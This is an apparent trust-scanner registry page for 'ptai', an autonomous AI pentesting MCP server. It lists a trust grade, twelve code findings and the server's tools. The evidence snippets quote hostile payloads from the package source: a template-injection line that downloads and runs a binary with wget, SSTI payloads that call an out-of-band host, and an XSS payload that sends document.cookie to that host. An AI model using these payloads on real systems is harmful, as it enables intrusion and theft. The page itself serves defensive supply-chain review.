Ptai MCP Server

ptai PyPI v1.4.0

Published by 0xsteph — no publish provenance, so origin is unverified, but the source is public: the repository link below is self-declared yet readable, so you can inspect the code before adopting it.

Autonomous AI pentesting with 200+ tools, exploit chaining, PoC validation, and credential-safe MCP server

Trust grade
B
87/100
Last scanned get badge →
Trust
B · 87/100
Adoption risk for you: the threat score, then adjusted down for blast radius, publisher verification and how much the scan could see. Deterministic; every point is auditable.
Capability
High
Blast radius if it went rogue — what the server’s tools could reach. Independent of trust.
Coverage
Source
How much the scan could actually inspect. Shallow coverage is stated, never hidden.
Share this Trust Score
𝕏 Share LinkedIn Reddit
B Why this grade threat 94 − adoption risk = 87/100

The grade answers one question — how safe is this server for you to adopt — so it is computed in two auditable stages. Nothing below is an opinion or an LLM's guess; every line is a real term the deterministic engine applied, and the same input always yields the same number.

1. Threat score — 100 − 6.3 = 94. What the published surface and source actually contain:

PointsWhat was foundCategory
−6.3 Unsafe deserialization MTC-SRC-007 permissions

2. Client adoption risk — 94 − 7 = 87. Three small, subtract-only factors that reflect your risk in adopting it — a clean scan proves less on a powerful, unverified or barely-inspectable package, so the grade says so plainly:

PointsAdoption-risk factor
−6 capability blast radius (high) — client exposure if the model is manipulated
−1 publisher verification (public source) — no provenance, but the source is public and inspectable

Capability observations and info notes are shown under Findings but never scored. Open any row's finding below for the file, line and evidence behind a deduction.

Findings 12

high Shell/command execution in server code (agents/web/spa_probes.py)MTC-SRC-002

In the server's implementation (`agents/web/spa_probes.py:2545`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ess.mainModule.require('child_process').exec('wget -qO /tmp/ptai-m {safe} && chmod +x /tmp/ptai-m && /tmp/ptai-m')}}"

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server agents/web/spa_probes.py

high Shell/command execution in server code (cli/credential_resolvers/op.py)MTC-SRC-002

In the server's implementation (`cli/credential_resolvers/op.py:39`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: try: proc = subprocess.run( ["op", "read", "--no-newline", ref], capture_out

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server cli/credential_resolvers/op.py

high Shell/command execution in server code (cli/menu.py)MTC-SRC-002

In the server's implementation (`cli/menu.py:391`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: port subprocess subprocess.run([candidate, "--quiet"], check=False) print() return print()

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server cli/menu.py

high Shell/command execution in server code (engine/oob/payloads.py)MTC-SRC-002

In the server's implementation (`engine/oob/payloads.py:158`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: lf.__init__.__globals__.os.system('nslookup {OAST}') }}", ) _SSTI_TWIG: tuple[str, ...] = ( "{{['curl http://{OAST}/

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server engine/oob/payloads.py

high Shell/command execution in server code (engine/probes/web/deserialization.py)MTC-SRC-002

In the server's implementation (`engine/probes/web/deserialization.py:65`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: "process.exit", "child_process", "_$$ND_FUNC$$_", "Infinite loop detected", ) _DOS_BODY_MARKERS: tuple[st

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server engine/probes/web/deserialization.py

high Shell/command execution in server code (engine/probes/web/nextjs_rsc_rce.py)MTC-SRC-002

In the server's implementation (`engine/probes/web/nextjs_rsc_rce.py:38`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: gn-looking trigger. No `child_process`, no fs writes, no network egress. """ from __future__ import annotations import

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server engine/probes/web/nextjs_rsc_rce.py

high Shell/command execution in server code (engine/probes/web/prototype_pollution.py)MTC-SRC-002

In the server's implementation (`engine/probes/web/prototype_pollution.py:17`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: o RCE (template gadget, child_process gadget, etc). It only confirms the sink. Tagged business_logic; the next step (RCE

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server engine/probes/web/prototype_pollution.py

high Shell/command execution in server code (engine/tool_installer.py)MTC-SRC-002

In the server's implementation (`engine/tool_installer.py:537`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ). result = subprocess.run( ["sudo", "-S"] + list(tool.install_cmd), input=s

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server engine/tool_installer.py

high Shell/command execution in server code (mcp_server/server.py)MTC-SRC-002

In the server's implementation (`mcp_server/server.py:340`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: ls are launched without shell=True, but defense-in-depth + clearer errors are worth a few extra lines. """ i

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server mcp_server/server.py

medium Hardcoded egress to an external endpoint (engine/oob/payloads.py)MTC-SRC-003

In the server's implementation (`engine/oob/payloads.py:138`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: "<img src=x onerror=\"fetch('http://{OAST}/?c='+document.cookie)\">", "<script src=\"http://{OAST}/j\"></script>",

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server engine/oob/payloads.py

medium Unsafe deserialization (engine/probes/web/__init__.py)MTC-SRC-007

In the server's implementation (`engine/probes/web/__init__.py:19`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: # noqa: F401 - Node.js node-serialize + js-yaml RCE/DoS dom_xss, # noqa: F401 - Playwright-driven DOM XSS detecti

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server engine/probes/web/__init__.py

low Shell/command execution in packaging/dev tooling (tests/test_ci_result_guard.py)MTC-SRC-002

In a packaging/dev/install script (shipped, but not the server runtime) (`tests/test_ci_result_guard.py:27`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.

Evidence: rocess[str]: return subprocess.run( [sys.executable, str(SCRIPT), str(xml_path)], capture_output=Tru

Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.

Location: server tests/test_ci_result_guard.py

Tools 52

Each tool and what it can reach — statically extracted from the published source.

  • http_requestnetwork egress
  • authenticated_scanno sensitive capability
  • browser_inspectno sensitive capability
  • builtin_scanno sensitive capability
  • close_engagementno sensitive capability
  • discover_attack_chainsno sensitive capability
  • ensure_tools_installedno sensitive capability
  • generate_detection_rulesno sensitive capability
  • generate_reportno sensitive capability
  • get_attack_chainsno sensitive capability
Show 42 more tools ↓
  • get_campaign_summaryno sensitive capability
  • get_configno sensitive capability
  • get_engagement_statusno sensitive capability
  • get_engagement_summaryno sensitive capability
  • get_evidenceno sensitive capability
  • get_findingsno sensitive capability
  • healthno sensitive capability
  • kill_processno sensitive capability
  • list_engagementsno sensitive capability
  • list_pluginsno sensitive capability
  • list_probesno sensitive capability
  • list_processesno sensitive capability
  • list_toolsno sensitive capability
  • plan_toolsno sensitive capability
  • poll_oobno sensitive capability
  • prove_attack_chainno sensitive capability
  • query_complianceno sensitive capability
  • resume_engagementno sensitive capability
  • run_probeno sensitive capability
  • run_reconno sensitive capability
  • run_toolno sensitive capability
  • scan_dns_builtinno sensitive capability
  • scan_headers_builtinno sensitive capability
  • scan_paths_builtinno sensitive capability
  • scan_ports_builtinno sensitive capability
  • scan_secrets_builtinno sensitive capability
  • scan_ssl_builtinno sensitive capability
  • select_agentno sensitive capability
  • set_intensityno sensitive capability
  • start_campaignno sensitive capability
  • start_engagementno sensitive capability
  • test_active_directoryno sensitive capability
  • test_api_securityno sensitive capability
  • test_cloudno sensitive capability
  • test_credentialsno sensitive capability
  • test_mobileno sensitive capability
  • test_privescno sensitive capability
  • test_social_engineeringno sensitive capability
  • test_vulnerabilitiesno sensitive capability
  • test_web_appno sensitive capability
  • test_wirelessno sensitive capability
  • validate_findingno sensitive capability

What this scan could not see

Versions 5

Scan history per published version. The engine is deterministic — the same version always yields the same score, so a changed score means the package itself changed.

VersionScoreFindingsEngineScanned
v1.4.0 latest B 87/100 12 1.13.0 2026-09-04
v1.3.1 B 87/100 12 1.13.0 2026-08-25
v1.2.1 B 87/100 12 1.12.1 2026-08-09
v1.2.0 B 87/100 12 1.12.1 2026-08-06
v1.1.0 B 87/100 12 1.12.1 2026-07-27

Embed this score

Show this server's live Trust Score in your README, docs or website. The badge is served straight from the registry and updates automatically after every rescan — no API key needed. It links back to this page, so anyone who sees the grade can also read the findings behind it instead of taking a number on faith.

MCP Trust Score: B · 87/100
Markdown (GitHub README)
[![MCP Trust Score](https://mcptrustchecker.com/registry/ptai/badge.svg)](https://mcptrustchecker.com/registry/ptai)
HTML
<a href="https://mcptrustchecker.com/registry/ptai"><img src="https://mcptrustchecker.com/registry/ptai/badge.svg" alt="MCP Trust Score" height="20"></a>
Prefer shields.io styling? Point it at https://mcptrustchecker.com/registry/ptai/badge.json via https://img.shields.io/endpoint?url=…

Verify this score yourself

The score above is reproducible: the same package version always yields the same result. Run it locally or over the free API — no account, no LLM, fully deterministic.

npx mcptrustchecker scan ptai --online --registry pypi

Use the free API → How scoring works

More in Developer Tools